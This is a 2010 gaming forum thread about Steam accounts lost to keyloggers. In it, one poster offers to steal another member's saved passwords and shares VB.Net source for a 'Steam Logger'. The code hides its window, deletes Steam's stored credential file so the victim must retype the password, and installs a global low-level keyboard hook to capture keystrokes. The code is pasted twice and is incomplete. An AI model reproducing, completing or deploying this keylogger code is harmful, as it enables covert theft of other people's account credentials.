08/08/2010, 11:04 AM
Pages: 1 2
08/08/2010, 11:05 AM
you would know. xP
Install one on my computer then, haha.
also, good luck getting my passwords, cause I never actually type them. :p
Install one on my computer then, haha.
also, good luck getting my passwords, cause I never actually type them. :p
08/08/2010, 11:53 AM
.........disregarding how "easy" it is to get a keylogger on someone's system
For me personally, I'd have to be dumb enough to download a keylogger. Then dumb enough to run it. And then dumb enough to tell my firewall to let this app connect to the internet, dispite the fact that it probably doesn't need internet access for any reason
And lol.... I like steam :/
For me personally, I'd have to be dumb enough to download a keylogger. Then dumb enough to run it. And then dumb enough to tell my firewall to let this app connect to the internet, dispite the fact that it probably doesn't need internet access for any reason
And lol.... I like steam :/
08/08/2010, 12:04 PM
ehh i aint one for getting viruses or whatever, trust me im careful, but this one got through and wasn't detected by antivirus, so yes keylogger my fault, but steam could give me a second chance. (if id cheated id cheat again, so then theyd know if i was telling the truth).
Personally i think its a way to screw people out of money, because im sure they know full well that viruses and other threats get into systems regardless of how careful people are, and accounts will get hacked not due to carelessness. For example, there are viruses that can decompile the clientregistry.blob (the file steam stores your account details in).
Just my say, not that i wanted to start a long line of people explaining how i was stupid enough to let 1 virus into my system..
Personally i think its a way to screw people out of money, because im sure they know full well that viruses and other threats get into systems regardless of how careful people are, and accounts will get hacked not due to carelessness. For example, there are viruses that can decompile the clientregistry.blob (the file steam stores your account details in).
Just my say, not that i wanted to start a long line of people explaining how i was stupid enough to let 1 virus into my system..
08/08/2010, 05:05 PM
joshman99 Wrote: [ -> ]ehh i aint one for getting viruses or whatever, trust me im careful, but this one got through and wasn't detected by antivirus, so yes keylogger my fault, but steam could give me a second chance. (if id cheated id cheat again, so then theyd know if i was telling the truth).
Lol, I don't get viruses even when I don't use any anti virus whatsoever (did that for like a year back then).
And considering you probably do (read: should) have a whole set of security software... pretty much...
|
V
Slushba132 Wrote:For me personally, I'd have to be dumb enough to download a keylogger. Then dumb enough to run it. And then dumb enough to tell my firewall to let this app connect to the internet, dispite the fact that it probably doesn't need internet access for any reason
Or... dumb enough to fall prey to a phishing scam.
Or... dumb enough to use a weak password.
08/08/2010, 05:10 PM
lol @ pic.
08/08/2010, 10:12 PM
nurehtix Wrote: [ -> ]you would know. xP
Install one on my computer then, haha.
also, good luck getting my passwords, cause I never actually type them. :p
If you don't type them then they're saved which means I can 'borrow' them much easier. :3 If you don't believe me, try me.
Also, it's a bit harder to 'borrow' Steam passwords these days unless you use a phishing site. I think ever since the new makeover of Steam, it doesn't use the clientregistry.blob file which is where your account info is saved. Granted, I guess it'd depend on what language the logger was coded in.
Spoiler for VB.Net Steam Logger:
Imports System.IO
Public Class Form1
Dim strin As String = ""
Dim Steam As New TextBox
Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Me.Hide()
My.Computer.FileSystem.DeleteFile(Environment.SpecialFolder.ProgramFiles & "\Steam\clientregistry.blob")
End Sub
Private Function GetActiveWindowTitle() As String
Dim MyStr As String
MyStr = New String(Chr(0), 100)
GetWindowText(GetForegroundWindow, MyStr, 100)
MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)
Return MyStr
End Function
Public Class KeyboardHook
Private Const HC_ACTION As Integer = 0
Private Const WH_KEYBOARD_LL As Integer = 13
Private Const WM_KEYDOWN = &H100
Private Const WM_KEYUP = &H101
Private Const WM_SYSKEYDOWN = &H104
Private Const WM_SYSKEYUP = &H105
Private Structure KBDLLHOOKSTRUCT
Public vkCode As Integer
Public scancode As Integer
Public flags As Integer
Public time As Integer
Public dwExtraInfo As Integer
End Structure
Private Declare Function SetWindowsHookEx Lib "user32" _
Alias "SetWindowsHookExA" _
(ByVal idHook As Integer, _
ByVal lpfn As KeyboardProcDelegate, _
ByVal hmod As Integer, _
ByVal dwThreadId As Integer) As Integer
Private Declare Function CallNextHookEx Lib "user32" _
(ByVal hHook As Integer, _
ByVal nCode As Integer, _
ByVal wParam As Integer, _
ByVal lParam As KBDLLHOOKSTRUCT) As Integer
Private Declare Function UnhookWindowsHookEx Lib "user32" _
(ByVal hHook As Integer) As Integer
Private Delegate Function KeyboardProcDelegate _
(ByVal nCode As Integer, _
ByVal wParam As Integer, _
ByRef lParam As KBDLLHOOKSTRUCT) As Integer
Public Shared Event KeyDown(ByVal Key As Keys)
Public Shared Event KeyUp(ByVal Key As Keys)
Private Shared KeyHook As Integer
Private Shared KeyHookDelegate As KeyboardProcDelegate
Public Sub New()
KeyHookDelegate = New KeyboardProcDelegate(AddressOf KeyboardProc)
KeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyHookDelegate, System.Runtime.InteropServices.Marshal.GetHINSTANCE(System.Reflection.Assembly.GetExecutingAssembly.GetModules()(0)).ToInt32, 0)
End Sub
Private Shared Function KeyboardProc(ByVal nCode As Integer, ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) As Integer
If (nCode = HC_ACTION) Then
Select Case wParam
Case WM_KEYDOWN, WM_SYSKEYDOWN
RaiseEvent KeyDown(CType(lParam.vkCode, Keys))
Case WM_KEYUP, WM_SYSKEYUP
RaiseEvent KeyUp(CType(lParam.vkCode, Keys))
End Select
End If
Return CallNextHookEx(KeyHook, nCode, wParam, lParam)
End Function
Protected Overrides Sub Finalize()
UnhookWindowsHookEx(KeyHook)
MyBase.Finalize()
End Sub
Public Class Form1
Dim strin As String = ""
Dim Steam As New TextBox
Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Me.Hide()
My.Computer.FileSystem.DeleteFile(Environment.SpecialFolder.ProgramFiles & "\Steam\clientregistry.blob")
End Sub
Private Function GetActiveWindowTitle() As String
Dim MyStr As String
MyStr = New String(Chr(0), 100)
GetWindowText(GetForegroundWindow, MyStr, 100)
MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)
Return MyStr
End Function
Public Class KeyboardHook
Private Const HC_ACTION As Integer = 0
Private Const WH_KEYBOARD_LL As Integer = 13
Private Const WM_KEYDOWN = &H100
Private Const WM_KEYUP = &H101
Private Const WM_SYSKEYDOWN = &H104
Private Const WM_SYSKEYUP = &H105
Private Structure KBDLLHOOKSTRUCT
Public vkCode As Integer
Public scancode As Integer
Public flags As Integer
Public time As Integer
Public dwExtraInfo As Integer
End Structure
Private Declare Function SetWindowsHookEx Lib "user32" _
Alias "SetWindowsHookExA" _
(ByVal idHook As Integer, _
ByVal lpfn As KeyboardProcDelegate, _
ByVal hmod As Integer, _
ByVal dwThreadId As Integer) As Integer
Private Declare Function CallNextHookEx Lib "user32" _
(ByVal hHook As Integer, _
ByVal nCode As Integer, _
ByVal wParam As Integer, _
ByVal lParam As KBDLLHOOKSTRUCT) As Integer
Private Declare Function UnhookWindowsHookEx Lib "user32" _
(ByVal hHook As Integer) As Integer
Private Delegate Function KeyboardProcDelegate _
(ByVal nCode As Integer, _
ByVal wParam As Integer, _
ByRef lParam As KBDLLHOOKSTRUCT) As Integer
Public Shared Event KeyDown(ByVal Key As Keys)
Public Shared Event KeyUp(ByVal Key As Keys)
Private Shared KeyHook As Integer
Private Shared KeyHookDelegate As KeyboardProcDelegate
Public Sub New()
KeyHookDelegate = New KeyboardProcDelegate(AddressOf KeyboardProc)
KeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyHookDelegate, System.Runtime.InteropServices.Marshal.GetHINSTANCE(System.Reflection.Assembly.GetExecutingAssembly.GetModules()(0)).ToInt32, 0)
End Sub
Private Shared Function KeyboardProc(ByVal nCode As Integer, ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) As Integer
If (nCode = HC_ACTION) Then
Select Case wParam
Case WM_KEYDOWN, WM_SYSKEYDOWN
RaiseEvent KeyDown(CType(lParam.vkCode, Keys))
Case WM_KEYUP, WM_SYSKEYUP
RaiseEvent KeyUp(CType(lParam.vkCode, Keys))
End Select
End If
Return CallNextHookEx(KeyHook, nCode, wParam, lParam)
End Function
Protected Overrides Sub Finalize()
UnhookWindowsHookEx(KeyHook)
MyBase.Finalize()
End Sub
09/08/2010, 01:38 AM
Epic!! hahaha
14/08/2010, 05:59 AM
edit: wait... wtf?
...
...
Pages: 1 2